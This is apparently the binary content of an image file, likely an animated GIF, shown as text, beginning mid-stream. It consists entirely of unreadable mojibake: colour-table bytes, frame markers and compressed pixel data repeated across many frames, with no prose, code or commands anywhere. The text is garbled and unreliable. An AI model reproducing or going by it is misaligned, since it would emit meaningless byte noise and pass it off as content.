]ٷ	��t6�p�e�$ ��=�
,�x��o�T�[[PU�7A��;䰅HH��j<��wiY@�'���ch�T.�V<�$�3�eg�s�q
@A��l��
,��OX�!,2���H��`ɍk]���4�@Q��a�Z����Q�!rg���
٥VT�N�9��E�N<��"�y����U�(/��Z+�E�
ذ��`,5�0߁C�A��ͧA-���k��&���6���F+��Vk�ت!�		8,���Ft���Tv����4^�����t��,R����d��Dj���ܤ�Ą��$N|���$J|d~�Df�����J|���\~����<^����|��4Z����l��Lr������ܬ�̌��F|���\z���������t��,V����l��Ln���ܤ�̄������<b��������@�pH,��d�&�9RʨtJ�Z�S�5l�xL._�.��V����zC��x�|��c�^�ja}��X-\x�l���J
�lxk����w�2�������'��R$%2*R%��j���E)�k
4���k��82��#I���ʼ���H֨\$ح��&&67H7�孶�&I5��&��#eCM*A
��(A�Y1��
)78`�!F�V4�[c��ǓF��h��!6p3���{��4��F�CO��|C��Æ�\Q1P7�6d���T�*��0��կ`ÊK��ٳh��
q@��;�*aѢ	�b0��z�҅��%Qjt���đ�idC"�5��ⲡ�z��O�jż<.�'d�TX�!0�D�{N��T��6ߙ���A��3���`���1��q�r1����ËO�����ӫ_Ͼ�����˟O��������+���
C��2A�J~ ����Aj]�Ё}
�)&�x3��UT�|}	��D�
^Ň`c%%_M�fB��r	(�ɗ�8+��}
l��W���@�~*`c2�g�w�pB���0�e�)�d�i�h���l���p�)�t�i�4�
�Gaja�	`�c}"H0Ԁ�dF":h|+�Ɔ	%�Ǥ1\@�|4J�:��gr�@�|�VɅ��(.�r�r��G��k\��|�:�k
��W�6k,�h|
���'�s��`���Փ'!�		<,���Ft���Tv����4^�������t�����,R����Ln�d�������Ĵ��$N|Df����$J|d~��􌢼���J|���\~����<^�|�����4Z����Tr�l����������̼��F|���\z���������t�����,V����Lr�l�����Dj�����<b�������������@�pH,�Ȥ���j��dI�Z�جvh��̅�-���%@��n\+M�۩���
��rw��u*o}�()���X
}|�_0����E)`�n�m
��Z n
J.���o��T
{}7H3���4��G$"��8�F�|�{;��C���G;��m
��Μ_�E9l��������G��(1��5��(H��C+_���}If$Eq	f�ء7ݐ�A�O'ʒ��*
^�)M�8_#X�<�"��Cg��@�6.v
2��������
J��H!�:VF�ʵ�ׯ`ÊmÁ�8r�e�cY=*B�
6�d's�si��<���I�`Q|_�{���m�2$m̨�;�(�Rf���3�7R�dьhl��IjF�:ED�
�o1�=��$882�^tA����-�P#A�&�N����سk�ν����ËO�����ӫ_�H
&B�?B��&�iP�b�
�C1�`�l���5�do,��	?��>��Fi|�0+`(�0��b�3�Ga�`�^�U��&x�y�Z�<��g�
�����F�P��LVi�Xf��\v��`�)�d�i�h���l���KL�+hI�gu�y1i�>}L�BB���_�@�r����\��!憃~^$
�G��A�}ɇ�Y�c�y�!�J���V+A͗Ð���~+��['�M��,�1��bɁ#�pAmpVk��!�		<,���Ft���Tv����4^�������t�����,R����Ln�d�������Ĵ��$N|Df����$J|d~��􌢼���J|���\~����<^�|�����4Z����Tr�l����������̼��F|���\z���������t�����,V����Lr�l�����Dj�����<b�������������@�pH,�Ȥrh�@��賬Z�جv;dEP�pu�q��z����0�����U���Tx��v9}|�a4���,+U'�p�8��v~849I�}�(1��gpcafG���;��X��5$�b��`/��J��bG�(��p
��F*Ԗ(F�o�	��B-㦊F90���zο�.G��0
�w$:~��p-
�Ɗ��DC�["�8�fc�D?��Ё㍀���f
���0�@���`̛I\܂�@#�ΟCr�	&AC�H��
p	��I�"Hq��YQ�j��b[�&l:A�G7��T{�e0G���R�uh�cAP�b[�����5`yO@�l1�*���2��U��,�)�nPlଌ��aB����XW�b���E�yݐ1�
���nm��2T�!���УK�N����سk�ν����Ë7�`�5]a-(~>KO�j�m�BI�
^ү2#�'�-1�N�� .��A!Am~���	(�
sM(��H��C�PX?H���'��E�sT�4dv
�-!
h(0�#4|q�x�
xPh��PF)�TVi�Xf��\v��`�)�d�i�h���F
`���(�
xLi��A�-ڇ���n���P`�5"�I`&�W5�؟��Ӣ����'�N����=��`d	6ڂ��
�E
Di�J5��X�9�`gpp�)h���k6���F+��Vk�^!�		<,���Ft���Tv����4^�������t�����,R����Ln�d�������Ĵ��$N|Df����$J|d~��􌢼���J|���\~����<^�|�����4Z����Tr�l����������̼��F|���\z���������t�����,V����Lr�l�����Dj�����<b�������������@�pH,�Ȥ�غ�"(���Z�جv;|@(���q��z���aȼ���K��=��rx��G-)�J
|p}a4����`
Jzo{�(��k1��n#�Fq�q�-��[-��H|��+��W��nG"�ͯ��I��2G#Ǡ���Eξp�E4��8��B���/F7_�(��3��oʌ��
V��y��#.‰@'��}�����X(j������4�%�$�i�
h1s.�!�!��8t
UB�A0:���qaA�#4��R��8�F#��1
.��@ËrZ�5�u���p��|����F@k7f��mS�ՙ`[F1)�l��A�$-���d���v9��q�Q���GI���[�l�8*��6��B1��m�6�3#���ȓ+_μ���УK�N��u�7��QC��)р�UL�S��1��
����L�@|5-"�>f���>�2�g�B�30�����X���p!54K�fQ�f����L(�#b�Ё����7�v|��Dr��H6f��_���<=i�H&��L6��PF)�TVi�Xf��\v�`+@�W��@a���^��w`1D�B5G�B�J��H�`l�d�Af�8Lh�M6p�8!59Ah�$��
�4���Q(��L:0<���O��BK����1نD(�0%�}��V"p�#�0���+��k��&���6���F+��Vk�!�		<,���Ft���Tv����4^�������t�����,R����Ln�d�������Ĵ��$N|Df����$J|d~��􌢼���J|���\~����<^�|�����4Z����Tr�l����������̼��F|���\z���������t�����,V����Lr�l�����Dj�����<b�������������@�pH,�Ȥ2�c1j����Z�جv;\��p�-���j
�b��F#M��?��(p��؀�p#v��I"�l8J7
`m��(�����I4�����t'��mHpp�n9��\���nG_���6��X���a.��΂1��K��o(Ga�s��F����D»m8��D0֜�TE��(4�8��xP�lA�~.�����d�"8o@�r�
$iK�h
}���$*P@��mɎ
*���@"d�	*	�t�<o2�����MC6T�b��H��$0z�	+%5=B
)nT�7b�3JZ�@0ql���1pK�Ț|�Pd�U�n٨�u���.;�-�uO�U^%rU��`�m�`�$=�l���rm>����>�V�m�"�$e�mA��uN����ȓ+_μ���!c<�p
��Ѝ)�+��DՆ�L"��!E
G�p_�"P8���q`V
t��Q�fK`���
�xK=���f�A�fzQx�
�Ҟ�\�v�
'�ȅC�����e4��>߱x5�R�P2�a�,��@)�Di�H&��L6��PF)�T���
UQ�RÊQڰ�75��d�,�B%6	_h�0�$#.�X�^�\M�W'089K|�8��9�d�d
�-R��%d�NrH^%m.�AT���x`^��H`JY��
EeY�*무�j뭸�뮼���+��k��&���6���!�		;,���Ft���Tv����4^�����t�����,R����Ln�d��������$N|���Df����$J|d~��􌢼���J|���\~����<^�|�����4Z����Tr�l�����������F|���\z���������t�����,V����Lr�l�����Dj�����<b���������������pH,�Ȥr)\!P��I�Z�ج5TxO�GK.���H�1�Tux.�����ԡ�GSJr��rz��K9�`^I8�_�6���(^��'`*H,�~�`��z0���78G���7��f���'�F�út
��X
ɐ�#G�t�+��L+��~�F�����I׳`G2���4�E6��^�F�tB��������;C�2�1#�J.��wb��]�!Q�	���@�d��}�bz)Q�<$����VA��d�U#��ēk�0>�
I/��*+t�@a���<��4f�@y_r0��G���!i�)�?(,W�*޿E>ES�a!%�%x��];Cn���h)���Rl��;�jr��ʓy�o
rN�
�p��N@0P�q9F�`�����ȓ+_μ���T�y^�B��sbܡ~o��`b(���EQ�o�%��‹d�z��ಮ@�;��<�U~Nި"V
�q��F�
W�z_Mr,��"8P���L�HS�AB��x����������x4��e'���"(��G�͸�
:����Di�H&��L6��PF)�TVi�q+�
PܕF�p�.�p�C�d^��
����~�Ve�	dH�S���5�Q�`�}8%�A��甏]���Rb
�#DU�M��v�'p���8
�%��������8D�J��(�i�����+��k��&���6���F+��Vk��f���v���+��!�		;,���Ft������Tv�4^�������t�����,R����d��Ln������Ĵ��$N|���$J|d~�Dj��􌢼���J|������\~�<^�|�����4Z����l��Tr���������̼��F|������\z�������t�����,V����l��Lr��������<b���������������pH,�Ȥry$1�Шtm}h4�T��P�ŋJ.���C�F�ϖ�MG�l�^���Q~J
#~mN{��Lt��(�I2������C���H���������m-G2��~.��f$k���4G0���7��[u��"F8�Ǫ��O'ȸG��m0��I/��_�F0���-**xI-��)G���^'�#�Y�P�2�۱�P�тEE0T����$̸�3D+@�-S�ZHp����zjDP���95�D���D��(4�0?���
���1�ƍ�N5�Ca�Q�r"H!�
�kYư
1Z޿L�;�a$^�b�c!�:B�����(R�c�1Ź�u��!�1-�������-㸐Q��-��!bł�sN�����l�80����
��K��Y6��Z�Y��G'���tH�&�����>ۯ��v�_B������bȴ`+5(Qc�B@|#�!U���a�aQ�J�DDGe~"����+/��4pb/6�Еk3��"31��<���@)�Di�H&��p1�pŽK���Б�xE�D
��i�D��E�w�`�Zj��@��O�F�@�,��Y����~
Q�d�SC�C�p��Y�	_<#%����v'����{��Q�;��!*��*D؎�B�0�U��/8
�oP���+��k��&���6���F+��Vk��f���v���+��k�	覫��!�		9,���Ft������Tv�4^�����t��,R������d��Ln���Ą��$N|���$J|d~�Dj�������܌��J|������\~�<^����4Z�������l��Tr������̄��F|������\z������|��,V������l��Lr��������<b�������������pH,�Ȥr�l:�Ш��!�����43wJ.����n�B�Ģ
dZ��~_\�l�kK�ml)|��J4�l�I%������u��u*H4t��1��|�t�l/G-�����e0���3G���-��QǴ�8F+�Ո2��M3��k�E	ݹuڮ	&W-�H
�ϲ�E4ºk�$���)� C0YkN�2�B��\��""

��(*�$8:<qA"�#g�2�J�4�Ԁ�ll&��0�1�/#�;�A����`���#�I�l`0��%G�Y]��j�Y����
Op��c �2.f�k��

(Pp��||�
N�u.��/1�U�Ő����N�Ș�`��*j��*O"����u-(m�6N�
p
A�۸�x@�N�?sG����/������@���}���(���
K��=�d���(o�RZ1��!=���H�+���p#�C��6d�$'�p�9�pyj#�SktPW���`
@�q(QPA6�,���0�(�4�h�8��6��B<2Rm
�A=A�Q�51�I�R`�P@%�ϕO�
r�ą�ᙘI|0�Sl���
�U͛J�"�*�щ���a��H�F�<�Z�
�	�R��Et`�(-�y��&1M�h��5
6�0Cr���ꪬ��꫰�*무�j뭸�뮼���+��k��&���6���F+��Vk��f���v�J!�		:,���Ft���Tv����4^�����t��,R����Ln����������d��$N|Df�������$J|�􌢼J|���d~����<^�|��4Z����Tr������������l�����F|���\z���������t��,V����Lr���ܤ��l��Dj�����<b�������������@�pH,��d��9RʨtJ�Z�Ә�5l�xL._�.��~�����L��o��z���Dz,sv��Iz^�jaQ#lj���-\{�lQ�z���u%l���&I)��k0��c���z1Iy�j�3��!+'+J
��]'H£��Ɨ7�\oG��{�G+�Ҽ�ۇ*i�l3*G����H'�ڭ���V�^�#�@��V����w���u��d”]�v�H���F.�0��
��7�ܘᒕ%
[�2�Oe��{(z�qD��],D���0|����dG$7,8dC^jR�!��N�*���D�����ք��d�
�H�
��%�[F���^�Ҁ�
�.�41'k�R�$u�COiz@Ѩ�������c��Ռ�7{h#�3%.��Ж�0��8Q��s!8(~)�<7H�^���:��F��>Pu
�\@��/z�@�����bܬ�װ�V��'�z��㑀R�M'�
��y���xY�`v�Q(��b��p��x�@+
��Tp�	dv�0�(�4�h�8��<rG
k\�A��x���PiGt�]p��eH��-�D�7t��>
l9FI�
��bVer�M�&
.¦��Y	J�dB�vNaNU��g0|�J�VA�X��h�yL�Ra�&ԳV:�a��@��N�(�@�
$(V꫰�*무�j뭸�뮼���+��k��&���6���F+��Vk��f���v���+��k��[i!�		9,���Ft������Tv�4^�������t�����,R����d��Ln���Ĵ�Ԅ��$N|Df�$J|d~��������J|������\~�<^�|�����4Z����l�������̌�����F|������\z�������t�����,V����l��Tr���̄��Dj��<b������������pH,�Ȥ2��h�eI�Z�جvh�`I�-���%�0��n�*M�۩����h7w��u)}|n�'X
(22��v
p��.�T+	`&0/��f'�~�n
T/~|*��nJ,���K���8��
�o5H0}��&2K��m��u"1�}6�E$��{�I%��$�u���G8؊�h��@�}l�K�!�;��`�`?%42tCp�}��p�@�����C/��e2��Z�L[b#Q��e�`f	�Q��DN`ș@@9��Zf%���XA
H�<0�pX�[\�f*�-^^�a�(s�fQ�nm�S��K�S/��uz�E�m2��'�6,��X��A��eBh$
F'g
����h3:����0h���s�'�
@c��چQ�9��K<$>
�k�؇�x,�W��)��D�s�a
c����|���An�_C@x����6����5��&AY��
h��D�	)Mh_E��P���ɐ1D�dt����݉�1�4�h�8��<jX�!�C��H�l�3�gd%�@
Y=)H�ds������e�0�e��_c��ŀk��fu�wH�oVe�O��X�2QG{�1C�']h�C���j
�{0��5�%�yMZF�
������@ܹ��|���ꪬ��꫰�*무�j뭸�뮼���+��k��&���6���F+��Vk��f���v���+��k�覫n�A!�		;,���Ft���Tv����4^�����t�����,R����Ln�d��������$N|���Df����$J|d~��􌢼���J|���\~����<^�|�����4Z����Tr�l�����������F|���\z���������t�����,V����Lr�l�����Dj�����<b���������������pH,�Ȥrh�@'�賬Z�جv;dAN�p�t�q��z����0h����U���Rx��v8}|�a���,*U&�p�7��vba78I~c{~0Z6*&*t���}fG���:X�T����Q$����.W��c��u��G�'��`
V-����k)p�qF�o�	V�n��h+���YT�z�.XY0�h������(�xѠ����Np�ȅ/g
ɱ�
rU4L�5��
-�H�!�.����r�B�Yj�F��n�`
�Lw�E���Ƣ'jhғl߉~\��DyH��_N��Z�+��IT��'r��b�yw%����T�on�E�BF\��D
p脌��j<���@Zߐ�0��"���C��#f�đ++/YaĈ��mӧ9���KOb���8[�k72#������3U��{j����+��	
8��ۏQ~:ٹ�dҟv8�6�>U
���9�G
��Q8n�Z�¹pP2�t��x0p�
1�؇(���,���G���20r��z�@@P�!�|��	䁑׈@�s�1�H6י����8
�;'x�� �l��H_
�u�DY��F�	'�Yss�����Ԁ-K�G^E��'
���	zG����x<@�!��
5����v�駠�*ꨤ�jꩨ��ꪬ��꫰�*무�j뭸�뮼���+��k��&���6���F+��Vk��f���v���+��2!�		:,���Ft������Tv�4^�������t�����,R����Ln�������d�����$N|Df����$J|�􌢼���J|������d~�<^�|�����4Z�����������l�����F|������\z�������t�����,V����Tr����l��Dj�����<b�������������@�pH,�ȤYˤf�EC��Z�جv;T%`@L
q��z)���YeM�۫��X��F+'7V5.}{zc%��v�cU1�n||��i/p�$�I$n����Y+�pbJc��zT��K��oI3��}��G��I��&&+X
3),-�j�}z�G��6W5��c3�g����;��Z�n�@�ò~Zdcg���0�!�Jɍa�J��
P�B��4�t:�kFI,P1|SC	��K��؈i�FJTb�ݬR#�DO��
�›�#���
�R+��t�G��Tp�P�P+�Q>aL��v��GH�=��0^kiH/�t����"I�{��u�;]1��X��Q%4dh�NZo�Țv����1����@pC�A7����5
ciO.�#������{��3��`���w��D@�~)t>�}"@�<5�!�}�g�s��7�<a�W�t`��-�_�edB.���$�`��)p�$4`�(���,��(��f�(]|��$�X�yKe>BB�)�'I����1)M��gBbR��aP�@@����K{��
����9��$��n�q�<)EW'%9��J�{
r�CT���P�~	!J�Օ�����`*�QZ�1tpH4��*ꨤ�jꩨ��ꪬ��꫰�*무�j뭸�뮼���+��k��&���6���F+��Vk��f���v���+��k�
覫��H!�		:,���Ft���Tv����4^�����t�����,R����Ln�d����Ԅ��$N|���Df����$J|d~�����J|���\~����<^�|�����4Z����Tr�l�����������F|���\z���������t�����,V����Lr�l�����Dj�����<b�������������@�pH,�Ȥr9�"�R�I�Z�ج����A�-��h��5���&M�c=��(P�*
om�&v��E!�p6U#3���#��u+�n�T���_��f%^p�L������W5��o&Kl�����L��`,K��n��H��&&K��o��Dl���o
J(��`3��.��dI�`���l�#gIۚ�0�5�j���$AJ��נ�L�+�
(i�e�v�|u��a��
�(X��E���$�@�J#4����
'D08��L1,ȇ����%��ȯM�9�$h�\$H��H�p(�hXn@B{oH
�*]�$*Z
(�Q�_�0p�"�D�����L��ja�Y	��ހJEXa:����W
s*��
�;	��E�"<p���Eh&U7S��"/³�R/S)P���t$8{�KV�Fǿ90���T�C��#7X�7�D5MC�}H�@@?L��
�Q�H*�B |֨A�D[� �(�$�P@
�H�P����bl#�V
T5cf#|:��Z�yr���J�o���<�]�
O��m�(X%.d�ȇ[�y�8�`�xԆ�g�‰xo��f.
|ä�͙�E����ɀ�UQo������4��3��^�Vj饘f�馜v�駠�*ꨤ�jꩨ��ꪬ��꫰�*무�j뭸�뮼���+��k��&���6���F+��Vk��f���v���+�䖻i!�		9,���Ft���Tv����4^�������t�����,R�Ln�������d�����$N|���Df�$J|d~�����쌢����J|���\~����<^�|�����4Z�Tr����������F|���\z���������t�����,V�Lr����l�����Dj�����<b���������������pH,�Ȥr�l:�Шtʤ!4�nj��z��Ȫ�p�Z��T���)�v�K����
(r��C7~jvjP1��~��_&k�%v�M4��%0��S/���56M���w�������%M
�����J®���K*���.��EЭ�w5L/�k�%2��9��vL��j��3�ы�L-ٶx���5��Q�Q,�}y#B
J.��u�I�����K	��!@�c�D�
	bG)"�`7Ap�d��@^NI�ώ�#2��`��r��"4J�}��1�������`���U��H@�$�(�)��Җ�qj��L�݉�0��%2a�	
�]��J�?�7N��E44_z�8p	\��p`{����)�H}D���~p�2���`�F�F
��
5J�I	\�
e�"�D�@�5.D4'��%����Y`{���9��
7R�5/C����+�>�k�����M��
Ƞ�u�D�ݱH�T	��`�X��	M�I4��
6��m�i@��!�v).�9�Q!h�c52���%�	�E�@[��1[��V�7AA�!�dG
V^)P^\v�bSFS���� X-%�&*6�d/���
i'���v�bYi��g��5(h*�@b
$y�1|=*餔Vj饘f�馜v�駠�*ꨤ�jꩨ��ꪬ��꫰�*무�j뭸�뮼���+��k��&���6���F+��Vk��f���v���+�O!�		9,���Ft������Tv����<^����t��,R�������d��������Dj����$N|���$J|d~��􌢼Tr����J|������\~�|��4Z����l�����������Lr����F|������\z����<b����t��,V�������l�����Ln������������������pH,�Ȥr�l:�ШԨ:���b��z��@�ȳ�׆z��p(aF6����FZ�-nq��B6u�w&.4P#x���o2���O��x��S6�xg��K���[��M��g�L)��f��J#���L4��d{��D���&-L�����8�Ɍ�K'�e�7�o*((5L*��d�J�����\jX@0i�%Tus�D�u
�R�
�3B$I��9�0�
�	�@(�*�F$2��Z��Gl4S:�!)��sH
D�f��m�0OgM���0U�‚F �A���N��
�O��&��B0aj�6y��!�in,X��C>�L��7�a%�L"�p�1�;
�uL���M�Rn��^�a�Cs�9+nh�!�4c����6,\n�@���*d�H�����˱p�(�|`�@�o�]B�,�g�.%.lrq�t/*��,6��x�]���V�
%��k^���lc'�ҏ6�=�B7
��Q)d{.�@|J��D=��N�I��pT�4�TTg��(f�]L@@"u�xrb8�3�dI8dҊ3&QAG#^��*@�d&��#c؈CN��*&4��	
��DN(� 0^y7u`"7`��
��i�$��cM_���G��Pu,�����I�wz��'h𜡐F*餔Vj饘f�馜v�駠�*ꨤ�jꩨ��ꪬ��꫰�*무�j뭸�뮼���+��k��&���6���F+��Vk��f���v���+��^!�		:,���Ft���Tv����4^����t��������,R�d�����Ln������Ĵ��$N|Df����$J|d~��􌢼���J|���\~�<^�|�����4Z�l����섞������̼��F|���\z������t��������,V�l�����Tr����Dj�����<b�������������@�pH,��dҢ���rJ�Z�����&p�Ӛ��4�f���`�������Q�͏�
qo�n2���f,p_q}���J�&p�`)g,3
-��S7�����Y]�q��E�|�Y3�|���Y����Y"	3�T9���0X��`
�W#
̑RJھ�`3Y�`��Sp� Vh%���K
I�Ν8%@�{^P��P�,*�E�b^�;��G��d�H�DI�G,���J��l�0Ӣ�=8pa�)�W�8Q��DF������ĥ�ѧ]�|�yV.^�"J[�i�>�A8�G]""�-�Y
£h7�	��)�:ޤ��b"�r��@����i���Шu8��O��ԩ�������s����06�����(^���,��=���]DPxv�ԝ����"4�x˔_�i0��#k��W|��P4�A=~\2����Y-�W(W�5�w�`�X�rA���$��:\0C�`�p���P�}*�2�@|̠B���ė��q������0�Q)�~�A�J��Bc˘�]�w��$�ai�Lf�B��ih�'��FM��j�7R!0©E��ҥ�i�	i.(�g50@P3h��e�k��QC��uF�馜v�駠�*ꨤ�jꩨ��ꪬ��꫰�*무�j뭸�뮼���+��k��&���6���F+��Vk��f���V!�		9,���Ft���Tv����4^�����t��,R����Ln����d�����$N|���Df�������$J|d~���J|���\~����<^�|��4Z����Tr����l�����������F|���\z���������t��,V����Lr����l��������Dj�����<b������������pH,�Ȥrh�:�Y��Z�جv;T=J�p�t�q��zi���p'����Յ��Nx��v7}|�a���Y$�p�6���G~c{~-������8��I"*&#*
Yb�pq/��C7�#"W��}�	��)�%o3tUƣcv)��V'�}.�K
,�|~#j/o.7�H��%�U*��,�g"0���@C��
�l`�
[�l�Ҡ�8
2��!M��`���ig�q�`����g%EoP�������ԫ�Aވ����h(�,��x����,�G�-D(�E�	ACe3.b
�
G=g��1�d-NU�9��a#�s
1���F��B��W�KLI��"���rJt��Q�K��	$9������^(8�Є�Y�v����(��
!l�`B��{�0S�z��o�t�^���Zι�m@RfS��	w��lpz�z�^��U����7H��@���Pp�x�AW��I_n�YPנA~�Bxʃ��8�X�V`�	��(���,���0�(�4�h�8��<���@)�D�CC�0�8|X�"8P-��$��q]�D򕂙�I��Y=,8I��ІU�k�Rc��xE�w1ASS�A@�C4�ZB���M��}jF�*zNYm���B�PN�n$ʩ	tUMjrzi��AH�&1���j뭸�뮼���+��k��&���6���F+��Vk��f���v���+n�A!�		:,���Ft������Tv�4^�������t�����,R����d��Ln���Ĵ�Ԅ��$N|Df����$J|d~����Ԍ��J|������\~�<^����4Z����l�������̄�����F|������\z�������|�����,V����l��Tr����Dj�����<b�������������@�pH,�ȤYӤfD��Z�جv;T%`@q��zI���eM�۫��X��u.|z�&%���Y2p�||��\!3.'sX0{�}b
��Un�2X��{T��F+�{,W��}p`��B7�¢c�Ụz+�Ə��`�K��6�ƚ��*U+��o��̢!V��7�(���\���D�Rm���@+7X�caBT5�̓S���0q��(Yd���r-ؼ�f*����	3%oH@���L��0��ia|��Q��OW�g���:hd����lt��������F	3f`��_6�
Ōh&��EAAHyP]�UZ���a�!�P�����Q�S!������%�5
*7�4v�Pò�`�YI}}'A]��g:9�s�I�lc2��_m�Տ����;ނa�
���U�^g!��L�+iq��,2�4����E9#�	/��	ǵ�
K2��N9L
,���!f��h�(���,���0�(�4�h�8��<���@)�Di�H&��L6��PF)�TVi�Xf��\v��`�)�d�9eoY�p�,&d0%R��Sn��U�@Ys�E	Bꡄ������Q�s�29��kz�eM��i֓�5���1ق`ٸ�d����eMF
)>�B!6A���І�	R��I�p��9��6pP@Nf&���6���F+��Vk��f�-�A!�		<,���Ft���Tv����4^�������t�����,R����Ln�d�������Ĵ��$N|Df����$J|d~��􌢼���J|���\~����<^�|�����4Z����Tr�l����������̼��F|���\z���������t�����,V����Lr�l�����Dj�����<b�������������@�pH,�Ȥr�l:�Шt�$A�CIA�z�`%�@�˂Wx�n+s�y^���k˥B��^%f�r�(;x�T4	rt-S
���g0$��N�fg(R��sfv��H���89Q������D
t��(P-�����,��s8P6����ʺq���6O9��2׺*���O2����*�͠jO��f����q�R#��
�Vap���5("�3�F�M9p�k`��d��X`��a��4����:@0�낶9	"}���M]42�����+�ܸPC�DFM��!QUQ�6!pc��Z�ɱ��>ŊMq�^E�j-Tx�\�&���q7숆�P���7���z��Y�nô�v5��hd�6�2��Ȱ��.��,�	#@�2@(�O�Z7�qn��.�С�qZw�	{RL��[gR����_
0��C�.ӗ����&���P�t��.
���~���)ѯ�
���X�I�)�en2�+� � +��%
��&�5�)�\��
i^��8D��,�T�0�(�4�h�8��<���@)�Di�H&��L6��PF)�TVi�Xf��\v��`�)�d�i�h���l���p�)�t�i'�7
B�0sR�҆`���X2�H��0��$�R��-y��*=���f4��<ʵ٨7)w��@j��G.�G1�s�ْ��W�>��>8&%����SޠC
f$��lp!�		9,���Ft������\z�<^�����t��,R�������l��Dj���Ą��$N|������$J|d����Tr����J|������d~�Df����4Z�������t��Lr������̌�����F|������\~�<b����|��,V�������l��Ln���̄����������������pH,�Ȥr�l:�ШtJ�Z��hv�$ٰx�4N4:�"�*��{~��x4"'bw+#t�O(xwz'h)Xvy�}��H/w��+7V1��i���B-���'Uj��,�����1T6���x-��,���+T����džѵ�T�ĝՆ6�z�'T���8�+е���x0�t%�h���i�.O�}nX@�MDޖ�نp�e�
԰"�U�4*ҁ��-	�h(�Qj"�$�ე�LҐ�E��4p�4r��;b؄b#
��h`��DC����XYsࠡb��!��j�&	1��r���m�1�yD���*
JD��pX���8��V�*2-07���WQ
��FM��W3��P.��`[-�n���=4

1:�%μ���УK�N����سk�ν���HL8�+�9�^�y10�SA��,)��s꾕�ѣMh�Aa�I�0C�S$�'0(�QU���Q@Вd�B�^�u��e��"��N̰X)!���zt���E22�MD��G'��c5��
)
	���()�TVi�Xf��\v��`�)�d�i�h���l���p�)�t�i�x��|��矀*蠄j衈&�袌6�(�A!�		;,���Ft���Tv����4^�����t��,R����Ln����d��������$N|Df�������$J|d~��􌢼J|���\~����<^�|��4Z����Tr����l����������̼��F|���\z���������t��,V����Lr����l�����Dj�����<b���������������pH,�Ȥr�l:�ШԸB�h
�b��z�N�@�Ȋx�n;
��l6C6����'.5{��Q3ugt���G8���u/����et�y	*��%���fl87�"j�����-k4�d,��:���'`
Ľ�&�{+���[_����yŭ.`����n	�`��r��E+2����(%��
F��m�	i�������5
�=T!�Bjg(tkb#��E'D�a#�����j6�A��1V�頍���jUG��!*�R�Ab�_�>�Ca
��
w&��82{e��'�����������#�l
�غao1�g�Ԙс
�q�-�ip��H:H�C̠�Ԁ�4�Ш���*E��;t��)��6:�4sB��۰Ĉa���ȓ+_μ���УK�N����سk�ν����ËO�����ӫ_Ͼ�����˟O��������Ͽ���(��
3�c��_��o��
eg����\~1l#��w�Z;YV�m��]�}3f�p_��s�}6��cS��0����}���	����P��}*���4���
������ـ0�@a+��l���p�)�t�i�x��|��矀*蠄j衈�!�		:,���Ft���Tv����4^�����t�����,R����d��Dj�������$N|������$J|d~�Df��􌢼���J|���\~����<^�|�����4Z����l��Lr����������F|���\z���������t�����,V����l��Ln��������<b�������������@�pH,�ȤR؈l�ǵ�Z�جv;T���*p��z9���D[��+��m$y��v7pr�a(���Yqc�����G8�}�0���1r~�o9�����}���x��~`��k9���	��9-T[7��~8á
c�![��`5Ә*	�q	�Zݓ'�+/�/+[,�/*��<h�e��ph��Qv�Nd�а"��:�G"
z�裑��
p`��7ʹ`�ȺRa6����7ji�q����$H�&(�(�!
J�Ɵ'�Q@_@S3�pu�D��!e�C�'.o�����	U2�;T���u�*�c����ѡ�[0�e�[Ld�L�'�R�����p�
lh�kߎ8�O��
±�w�[ٳ�aC��sN����ȓ+_μ���УK�N����سk�ν����ËO�����ӫ_Ͼ�����˟O��������Ͽ���(�h�&��6��F(�Vh�"��w@�(
_)\����cb���
�\��uV�$�wHL�
�
��A�
�T�j���>)�dz��	D���U�^T-uX�5�Nd�՞^y�b|0��Qfq͗���`C"f�`!�		6,���Ft������Tv�4^�������t�����,R�Ln������Ԅ��$N|���Df����$J|l������J|���<^�|�����4Z�Tr�����������F|������\z�������t�����,V�Lr���섞����Dj����l���<b����������@�pH,�Ȥri��V�I�Z�ج�SD^��-��h���
{���|N�"��<S��n`mx0��W&n��`q���Fx�z3���3���4��6&#
&i���'��4	o^
g/z�����'�y/�e(��_/Œ%��+�Z$��`|ӈϏ"
f(�o�*���*�Y*��_"��i`��
����B�̙�1X� �1�3B�
L�(���FDc�2�K%>r���#�d	KP����A�It���J]JCC�/1�--Z㠛&�j¢ƈ$��K��ٳhӪ]˶��9H
��m�]�P�g��:���t4(���8sa�D9�Y�����\�#�}�
p��@r�o���th�9�}�ul<�A��†�����|g�$~����1�S!�-�OOc�
1\H�N�����ӫ_Ͼ�����˟O��������Ͽ���(�h�&��6��F(�Vh�f��v��
�(�$�h�(���,���0j!�		6,���Ft������Tv����<^����t��,R����d����Ԥ��Dj�$N|������$J|d~�����J|������\~�Df���Ԅ��4Z����l�������ܬ��Tr�F|������\z����<b����|��,V����l����ܤ��Ln��������������@�pH,�Ȥr�l:�ШtJ�Z�ج1�p�EK.���`Mb?`��@�x6�4�
zw���D!^,acd%�mk�)5�j�_pZyx�w*�}(��$+Y�����r5��yw�V!�z��q0���W������f^��x�V3�ǔ��d�τX)��w$�d&�Dž1X֫�,��Y��w�,8��:v�����LO9,-���!!���1�eF�{�,b1��}Z^d8G"��Аq���8��UI�o9�&A1�	B�*���f(�J��իX�j�ʵ�ׯ`ÊK��ٳhӪ]˶�۷p�ʝK��ݻx���˷�߿�L���È+^̸���pC����(G�`�R�<�����(�#d!���fPB�c-7���Y���n���BÂy���7!>�QĎ:�q�R,�`A#u��5����0P�N4
˟O��������Ͽ���(�h�&��6��F(�Vh�f��!�		8,���Ft������Tv�4^�������t�����,R����Dj���Ĵ�Ԅ��$N|d�����$J|Df�����J|������d~�<^�|�����4Z����Lr������̄�����F|������\z�������t�����,V����Ln����l������<b�������������@�pH,�Ȥr�l:�ШtJ�Z�X\�"Pe����HJ�V��`�M?�~�@�iuh4y|��D!�v�g���0v�����o/���h1�!)$
�b���{*fv3�X���z,��4�V!�u�g�oʕ%-^�T˻i(o3�����S��h0o�h,�R.��o4��g�R�Y*��
O��-�'eD�J����
M�R
��Cǃ=3�U��q�
1b���gc#�g"��y��6e�
��9d^�=K-����,��
L�N�J�l�ԫ'S��z��ׯ`ÊK��ٳhӪ]˶�۷p�ʝK��ݻx���˷�߿�L���È+^̸��ǐ#K�L���˘3k�̹��ϠC�M���ӨS�^ͺ��װc˞M���۸s�kƃ2]6�)����XfG�d	�p
 y�#�H!�yɹcs��m�!�3�8�@R��ajs�؄Q�h�͊�1�������O�#�
�sr��`g�W�e�,�ۇ
